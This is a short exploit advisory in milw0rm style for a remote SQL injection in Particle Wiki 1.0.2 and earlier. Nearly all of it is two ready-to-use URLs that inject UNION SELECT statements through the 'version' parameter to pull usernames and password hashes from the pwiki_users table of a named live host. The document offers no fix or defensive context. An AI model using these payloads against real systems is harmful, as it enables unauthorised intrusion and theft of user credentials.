Particle Wiki <= 1.0.2 (version) Remote SQL Injection Vulnerability

# Particle wiki <= 1.0.2 Remote SQL_Injection - Username/Password(hash) Extractor # Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html # Exploited by FarhadKey from http://www.kapda.ir Username : http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,username%20from%20pwiki_users%20/* Password : http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,password%20from%20pwiki_users%20/* # milw0rm.com [2006-06-05]